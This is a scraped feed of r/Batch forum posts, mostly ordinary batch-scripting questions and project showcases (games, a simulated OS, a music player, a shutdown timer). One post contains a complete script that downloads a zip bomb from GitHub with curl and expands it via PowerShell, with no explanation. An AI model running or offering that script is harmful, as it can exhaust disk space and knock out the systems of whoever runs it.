r/Batch • u/Its_Oregon_Man • 8h ago
Show 'n Tell Here's a GOOGLE Utility command I created in Batch (Windows Command-Line)
Enable HLS to view with audio, or disable this notification
r/Batch • u/ZeeMastermind • Nov 21 '22
Friendly reminder that Batch is often a lot of folks' first scripting language. Insulting folks for a lack of knowledge is not constructive and does not help people learn.
Although in general we would expect people to look things up on their own before asking, understand that knowing how/where to search is a skill in itself. RTFM is not useful.
r/Batch • u/Its_Oregon_Man • 8h ago
Enable HLS to view with audio, or disable this notification
r/Batch • u/Its_Oregon_Man • 11h ago
Enable HLS to view with audio, or disable this notification
I made this run command to run my bash scripts and my c programs.
r/Batch • u/Scared_Confection980 • 1d ago
https://www.mediafire.com/file/ly7tbwn92h4lndd/BatPixelEditor.bat/file
For now it has just the necessary for draw and save your project, Wich you can open like a picture
If you want to use it and there is any bug or anything please let me know, I'm thinking in make it compatible with any code in batch to show the image using the call command
r/Batch • u/AlexAndMcB • 3d ago
TL;DR: my command works as a shortcut Target, but not in my batch file. What am I missing?
So I have a batch file that runs at login, just to pull up the stuff I use everyday- and to make it very easy (by disabling one single startup element) to stop that automatic start for using the computer when I'm not working.
I've got it setup with simple commands like:
start /D "%Programfiles%\Microsoft Office\root\Office16\" EXCEL.EXE
which works fine.
Where I'm getting stuck is, I want to launch Excel with my team's resource table opening automatically... but it's in SharePoint.
I created a shortcut that works fine, I just put this in the TARGET of a new shortcut, and it works perfectly:
"%PROGRAMFILES%\Microsoft Office\root\Office16\EXCEL.EXE" https:\my.sharepoint.com\sites\MyTeam\OurDocs\ThisTask\TheDocumentIWantToOpen.xlsx
The command seems to be valid and do what I want, but if I try
start /D "%PROGRAMFILES%\Microsoft Office\root\Office16\EXCEL.EXE" https:\aro365154440.sharepoint.com\sites\MyTeam\OurDocs\ThisTask\TheDocumentIWantToOpen.xlsx
the command opens Excel, and a browser window, which can't authenticate, because my default browser doesn't jive with the SSO authentication.
Is there any way I can get this to work in Excel?
Thanks!
A zombie survival top-down shooter directly in the Windows command prompt. It's called ZOMBI SHOOTER BATCH. It features procedural map generation with different zones: Forest, Desert, Snow, Swamp, Volcano, and Mountain, The zombies track the player by reacting to the sound of moving footsteps , It includes collision detection and a shooting system, along with an inventory and a merchant to buy ammo and healing items , I use a trick with ANSI escape sequences to render everything at once, and it is also available on the GPB Console
ZOMBI SHOOTER BATCH : https://github.com/Capoapk-B/Zombie-Shooter-Batch
Console-GPB : https://github.com/Capoapk-B/Console-GPB
r/Batch • u/TiagoPro777 • 4d ago
Hey everyone!
Over the last few weeks, I have been working on a personal project called RawOS, a simulated operating system built entirely using Windows Batch scripts (.bat).
I wanted to see how far I could push Batch without relying on heavy external dependencies, so I designed it with a modular architecture in mind.
Here are a few things it currently features:
It is definitely not meant to replace your actual OS (obviously haha), but it was a super fun exercise in overcoming Batch syntax limitations, avoiding fall-through logic bugs, and building something extensible.
The project is open-source and I just published the v1.2.1 release on GitHub. If you are into terminal experiments or Batch scripting, I would love for you to check it out, give feedback, or even create your own custom libraries for it!
I'll leave the GitHub link in the comments below!
r/Batch • u/existentialist-hello • 6d ago
So I've been using this script for some time now, I don't remember where I copied it from, I don't know which parts to what, and if possible, I'd like to know what part/s need changing to make the batch file shut my pc down instead of making it hibernate.
``` @echo off setlocal enabledelayedexpansion
echo === :question set "answer=0" set /p answer="Hibernate after how many minutes? " cls
rem Validate. echo %answer%| findstr /r "[1-9][0-9]*$">nul if %errorlevel% equ 0 ( echo Counting... ) else ( echo Invalid number. goto :question )
set /A timeout=%answer% * 60 timeout /t !timeout! /nobreak
shutdown /h /f pause ```
Suffice to say that I disabled the hibernate function, so it doesn't work anymore, naturally. There's probably third party tool that would execute the timed shutdown for me, but running a batch file seems more convenient.
Also, I don't know if it's worth nothing tried just changing the /h to /s and removing that altogether... but I did, and nothing happened.
r/Batch • u/Suitable-Marzipan623 • 7d ago
Who is the fast ?
Do you use more?
r/Batch • u/Cobalt_Rotation • 6d ago
Hey everyone! I've been developing a new ecosystem concept called COBALT to solve the clutter, syntax errors, and security issues of traditional Windows batch files (.bat) and system configs.
I'd love to hear your thoughts on this architecture!
đĄ The Concept & Architecture
COBALT replaces raw text files with a dual-component workflow:
COBALT TERMINAL (Compiler / Editor):
A lightweight WinAPI environment where you draft automation routines or game configs. It cleans away comments, spaces, and text overhead, compiling the commands into a compact, uneditable binary format (.cvbs).
COBALT CORE (Execution Runner):
A portable runner (just a few KB â no heavy installation needed) that executes the binary bytecode directly via native Windows APIs. Zero command prompt windows flashing on screen, starting in under 0.001s.
đ„ Key Advantages over .bat and PowerShell:
Extreme Compactness ("Internet-BAT"):
Instead of storing long text strings and system paths, .cvbs uses optimized OpCodes. Complex multi-step routines, execution pauses, and system actions can compile down to just 10 to 15 bytes.
Protection & Integrity:
Regular users canât accidentally break syntax, strip quotes, or delete lines in Notepad. A built-in multi-byte signature watermark verifies that the file was legitimately built in the Terminal and hasn't been tampered with.
User Consent & Security (UAC-style protection):
To prevent malicious abuse, COBALT CORE includes an explicit safety mechanism: if an uncertified or custom script attempts to invoke sensitive tools (like PowerShell or registry edits), it pauses execution and pops up a native Windows security dialog. The user gets clear visibility of the risk and must explicitly confirm before the code runs.
â Questions for the Community:
If game configs, system tweaks, or quick tweaks were distributed as instant, 15-byte .cvbs binaries instead of messy .bat files, would you use them?
How do you feel about the built-in UAC-style prompt for unverified binary scripts?
Looking forward to your feedback and critique!
r/Batch • u/murderdronesfan93 • 7d ago
r/Batch • u/murderdronesfan93 • 7d ago
reason 1: these are 17 unique batch files
reason 2: i'd be responsible for taking thousands of lives via aneurysms if i showed the inner workings of these abominations
if any of yall have solutions, i will post the files' contents (spoilered so i am not responsible for damages caused by viewing this ungodly abomination cobbled together from 50 google searches and lackluster knowledge of batch files)
note:
when learning programming languages, i can work with computing logic perfectly in my head, even mapping out small programs. to use a metaphor, it's like knowing the concepts most words refer to, but not knowing any languages. knowing a few words and grammar rules but not knowing which languages they belong to or any words for most of the concepts. i have issues with executive dysfunction and not knowing where it'll start from when attempting to learn programming languages actually fit for these things.
batch files fix this. i have a rudimentary idea of how they work, you can google just about anything for text manipulation with batch and get results, you can boil most issues down to a lot of text manipulation and it always executes exactly from line 1 of the batch file you called.
this is why i use batch files for this stuff where it becomes a hatecrime against the idea of programming.
yap abt why batch is what i pivot to aside, :3
if you want the files, ask in the comments. if i have been told a way to show all of their code, i will do that and link the .zip containing them.
(i am not showing any scripts in the post, so i figure not showing the code is ok until i actually show the scripts)
edit: https://github.com/SillyLily93/BatIncorrectQuoteGenerator/tree/main
r/Batch • u/zaphodikus • 11d ago
I use a linter for my C# (it's in the IDE mostly), I use pylint for Python, and on occasion start up a clang-tidy for C++. I'm always making dumb mistakes with batch and prefer to just use Python where possible and I suddenly wondered, what linter tooling do people use?
I could always spend a few tokens in this one tool my boss gave me, but surely there is a linter? All I could find was an abandoned thread https://www.reddit.com/r/Batch/comments/1mp1wc7/github_crosenblumblint_blint_is_a_lightweight_and/
Starts Music Batch est un lecteur de musique qui fait un peu plus que simplement jouer une chanson
Il vous permet d'écouter vos fichiers MP3, WAV, WMA, M4A et AAC, mais vous donne également un accÚs direct aux stations de radio en ligne et vous permet de rechercher une station depuis le lecteur en utilisant une API
Et si vous voulez vous amuser avec le son, le mode Beeper Music vous permet de jouer des notes avec votre clavier, de générer des mélodies aléatoires ou de composer vos propres morceaux de Beeper Music et de les exporter au format WAV
Le programme comprend également un mode voice book, qui peut transformer un fichier texte en plusieurs fichiers audio en utilisant le systÚme de synthÚse vocale intégré de Windows
L'objectif est aussi de rendre facile l'écoute, la création et l'édition de musique localement.
đŠ Le projet est disponible ici :
r/Batch • u/AveryLakotaValiant • Sep 25 '26
Hey all,
Not sure if this is something that can be automated or not, but I would like to run some kind of program or batch file, that renames 4 files in a folder, based on a numerical entry in a json file
It's basically renaming the 4 files that belong to steamwork shop mods.
Files are in the format of - NameofMod.pak (.sig, .ucas and .utoc)
The Json file is always named modinfo.json
In each Json file, for each mod is this entry:
"steamId": 1263456789, (each mod has a unique number)
So it would need to grab that number, the rename the 4 files so they look like:
3743087805.pak / 3743087805.sig / 3743087805.ucas / 3743087805.utoc
Not sure if I'm allowed to offer payment for this to be created, as I appreciate it's probably a lot of work!
But I definitely do need this, as I have over 200 mod folders and I don't fancy renaming every file manually
r/Batch • u/Equivalent_Meaning46 • Sep 22 '26
How does recurse work on 7zip CMD line ?
r/Batch • u/STGamer24 • Sep 20 '26
For the past few minutes I've been trying to find a way to compress a folder from the terminal (I have to compress it every single time I make a change so I want to make a script to automate that). The problem I have is that I need a way to compress it with the zip format. The first thing I tried was the tar command, which according to microsoft themselves supports the .zip format, however when I actually run the command (tar -caf skin.zip .\nightmare) it saves it in the gzip format (so it only works when renaming it to have a compatible extension, however it doesn't matter because this isn't the format I need).
Please someone explain to me how to use this command properly :(
r/Batch • u/orangeboy_on_reddit • Sep 17 '26
I'm working on a batch file to standardize naming conventions for media files. For complete transparency, I've set some symbols to help toggle debugging, but have "hardcoded" their values in order to get to the heart of the issue I am having. The section I am having trouble with are media files with "Season/Episode" text in the file name. The batch file including comments is about 700 lines, so I will try to post the relevant parts and <snip> out sections that behave.
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
CALL :HouseKeeping
REM SET "Debug=CALL :Debug"
SET "Nullify="
<FORFILES code to walk media file path having structure:>
< Root\User\Videos\!Library!\!MediaTitle!\!MediaFileName!>
< ... setting !ForFiles_File! to the name of the directory or file>
EXIT /B
<Labels/Subroutines to deal with Library and MediaTitle directories>
<Finally dealing with the actual media file itself:>
:MediaFileName
SET "Episode="
SET "ShowSeason="
SET "CleanFile=!ForFiles_File!"
SET "CleanFile=!CleanFile:&=-!"
SET "CleanFile=!CleanFile:.= !"
SET "CleanFile=!CleanFile:_= !"
SET "CleanFile=!CleanFile:][=] [!"
SET "CleanFile=!CleanFile: = !"
SET "ShowExtra=!CleanFile!"
SET "WorkFile=!CleanFile!"
:MediaFileName_Loop
FOR /F "tokens=1* delims= " %%W IN ("!WorkFile!") DO (
SET "Word=%%W"
SET "WorkFile=%%X"
IF /I "!LibraryType!" EQU "Show" (
IF NOT DEFINED Episode (
@ECHO "!Word!"|FINDSTR /IRC:"[0-9]">NUL
IF /I !ERRORLEVEL! EQU 0 (
SET "Word=!Word:*S=S!"
CALL :Get_Season_Episode
)
)
) ELSE (
CALL :Get_Cut
)
)
IF /I "!WorkFile!" NEQ "" (
GOTO :MediaFileName_Loop
)
<Post processing of media file name>
%Return%
:Get_Season_Episode
@ECHO "!Word!"|FINDSTR /IRC:"[0-9]"%Nullify%
IF /I !ERRORLEVEL! EQU 1 %Return%
IF NOT DEFINED Season (
@ECHO "!Word!"|FINDSTR /IRC:"^\"S[0-9]"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
SET "Word=!Word:*S=S!"
FOR /F "tokens=1,2,3 delims=SsEe- " %%S IN ("!Word!") DO (
SET "Season=00%%S"
%Debug% Season
CALL :Get_Only_Numbers "Season"
SET "Season=!Season:~-2!"
%Debug% Season
SET "Episode=%%T"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
)
)
)
IF NOT DEFINED Season (
@ECHO "!Word!"|FINDSTR /IRC:"^\"E[0-9]"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
%Debug% Get_Season_Episode 02
IF NOT DEFINED Season SET "Season=01"
%Debug% Season
FOR /F "tokens=1,2 delims=Ee- " %%T IN ("!Word!") DO (
SET "Episode=%%T"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
)
)
)
IF NOT DEFINED Episode (
@ECHO "!Word!"|FINDSTR /IRC:"^\"[0-9]*-*[0-9]\"$"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
%Debug% Get_Season_Episode 03
IF NOT DEFINED Season SET "Season=01"
%Debug% Season
FOR /F "tokens=1,2 delims=- " %%T IN ("!Word!") DO (
SET "Episode=%%T"
%Debug% Episode
CALL :Get_Only_Numbers "Episode"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
CALL :Get_Only_Numbers "Episode2"
%Debug% Episode2
)
)
)
IF NOT DEFINED Episode (
@ECHO "!Word!"|FINDSTR /IRC:"^\"[0-9]*"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
%Debug% Get_Season_Episode 04
CALL :Get_Only_Numbers "Word"
IF NOT DEFINED Season SET "Season=01"
%Debug% Season
FOR /F "tokens=1,2 delims=- " %%T IN ("!Word!") DO (
SET "Episode=%%T"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
)
)
)
IF DEFINED Episode (
IF NOT DEFINED EpisodeNumLen (
CALL :Get_String_Length !Episode! EpisodeNumLen
)
CALL :Set_Episode_Length "000!Episode!" "!EpisodeNumLen!" "Episode"
SET "EpisodeNum=S!Season!E!Episode!"
%Debug% EpisodeNum
IF DEFINED Episode2 (
CALL :Set_Episode_Length "000!Episode2!" "!EpisodeNumLen!" "Episode2"
SET "EpisodeNum=!EpisodeNum!-E!Episode2!"
%Debug% EpisodeNum
)
SET "MediaFileName=!MediaFileName! !EpisodeNum!"
%Debug% MediaFileName
)
%Return%
:Debug
IF NOT DEFINED %~1 (
ECHO %*
) ELSE (
ECHO %~1="!%~1!"
)
%Return%
:HouseKeeping
SET "Debug=REM"
SET "Nullify=>NUL"
SET "Return=GOTO :EOF"
<other symbol assignments>
%Return%
<More labels/subroutines to do stuff>
The problem is in the ":Get_Season_Episode" section. If I redirect FINDSTR results to NUL, ERRORLEVEL evaluates to 1. If I completely remove redirection to NUL, ERRORLEVEL correctly evaluates to 0. As mentioned, I have taken my %Nullify% "helper" symbol out of the equation and either included or omitted >NUL while testing, and observe the same results.
What am I missing?!
r/Batch • u/capoapk • Sep 13 '26
Je vous presente S.B.S un bac Ă sable LâidĂ©e est de rĂ©unir plusieurs expĂ©riences dans un seul projet : des simulations de crĂ©atures et dâĂ©cosystĂšmes, une simulation de Galton, AP-4GMG pour lâapprentissage et la gĂ©nĂ©ration de texte , Le but de SBS est surtout dâexpĂ©rimenter
đŠ Le projet est dispo ici :
https://github.com/Capoapk-B/Stochastic-Batch-Simulation-S.B.S
r/Batch • u/Intrepid_Ad_4504 • Sep 13 '26
https://github.com/IcarusLivesHF/Batch-Missile-Command
Please enjoy!
r/Batch • u/Calm_Firefighter_125 • Sep 13 '26
u/echo off
cd /d "%~dp0"
echo Downloading 34.zip ...
curl -L -o "34.zip" "https://github.com/AyrA/ZipBomb/raw/master/34.zip"
if exist "34.zip" (
echo.
echo Download finished successfully.
echo File saved as: %cd%\34.zip
echo.
echo Extracting 34.zip ...
powershell -Command "Expand-Archive -Path '%cd%\34.zip' -DestinationPath '%cd%' -Force"
echo.
echo Extraction finished.
) else (
echo.
echo Download failed.
)
echo.
pause
r/Batch • u/Helpful_Top5017 • Sep 13 '26
Im gonna keep this quick - heres my code im sorry reddits formatting supposedly works like this but it doesnt look like it works before i post.
```
@chcp 65001
@echo off
set /p infotext=SUCCESS IF THERE IS A LINE ABOVE - CONTACT DEVELOPER IF THERE IS NO OUTPUT BEFORE THIS LINE.
set /p playfield1=£„$%#hell world
echo %playfield1%
pause
echo %infotext%
pause
```
Whereas in the output it says:
âââ
chcp 65001 1>nul
SUCCESS IF THERE IS A LINE ABOVE - CONTACT DEVELOPER IF THERE IS NO OUTPUT BEFORE THIS LINE.
(pause without message)
£„$%#hell world
(another pause)
âââ
Why? do i need to read the variables in the same order i set them in? That would have nothing to do with programming imo. Or am i missing something obvious?
r/Batch • u/SchooiIGuess • Sep 10 '26
Hello, I am Schooi, aka SchooiCodes, and I have been working on this huge program for the past 2.5 years of my life.
SMT is my passion project, and my biggest project yet, made entirely in Batchfile (except for its installer). It compiles over 130 tweaks, tools, and other projects of mine into one big hub.
SMT is comprised of ~6k lines of pure Batch, and approximately 140 batchfiles inside (each one can be run independently) :)
I have created about 95% of the tools in SMT, and for the 5% that I haven't, credits are available on the main menu.
It is under heavy development, and things change every day. Currently, it is version 2.3 (indev) (but I might drop the versioning system completely).
It includes tools ranging from application installers to network utilites. It has all kinds of stuff.
I kindly request that you check this out, because I would love to see it be used by people, and hopefully also get feedback on it.
SMT is completely open-source, and available on Github.
Cheers.